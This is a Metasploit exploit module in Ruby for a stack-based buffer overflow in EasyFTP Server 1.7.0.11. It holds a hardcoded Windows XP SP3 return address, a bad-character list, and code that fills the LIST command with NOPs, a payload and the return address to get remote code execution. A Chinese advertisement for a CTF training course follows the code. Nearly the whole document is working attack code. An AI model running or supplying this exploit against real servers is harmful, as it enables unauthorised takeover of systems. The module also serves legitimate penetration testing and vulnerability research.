require 'msf/core' 

   

class Metasploit3 < Msf::Exploit::Remote  

    Rank = GreatRanking  

   

    include Msf::Exploit::Remote::Ftp  

   

    def initialize(info = {})  

        super(update_info(info,  

            'Name'           => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',  

            'Description'    => %q{  

                    This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.  

                    credit goes to Karn Ganeshan.     

            },  

            'Author'         =>  

                [  

                    'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version  

                    'MFR' # convert to metasploit format.  

                ],  

            'License'        => MSF_LICENSE,  

            'Version'        => 'Version: 1',  

            'References'     =>  

                [  

                    [ 'EDB', '14400' ],  

                ],  

            'DefaultOptions' =>  

                {  

                    'EXITFUNC' => 'thread' 

                },  

            'Privileged'     => false,  

            'Payload'        =>  

                {  

                    'Space'    => 268,  

                    'BadChars' => "\x00\x0a\x0d\x2f\x5c",   

                    'DisableNops' => false 

                },  

            'Platform'   => 'win',  

            'Targets'        =>  

                [  

                    [ 'Windows XP SP3 - Version 2002',   { 'Ret' => 0x7e49732b } ],  

                ],  

            'DisclosureDate' => 'July 5 2010',  

            'DefaultTarget' => 0))  

    end 

   

    def check  

        connect  

        disconnect  

   

        if (banner =~ /BigFoolCat/)  

            return Exploit::CheckCode::Vulnerable  

        end 

            return Exploit::CheckCode::Safe  

    end 

   

    def exploit  

        connect_login  

   

        buf = '' 

        buf << make_nops(268 - payload.encoded.length - 4)  

        print_status("Adding the payload...")  

        buf << payload.encoded  

        buf << [target.ret].pack('V')  

   

        print_status("Sending exploit buffer...")  

        send_cmd( ['LIST', buf] , false)   

   

        handler  

        disconnect  

    end 

   

end 

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》，视频+靶场+题目！助力进入CTF世界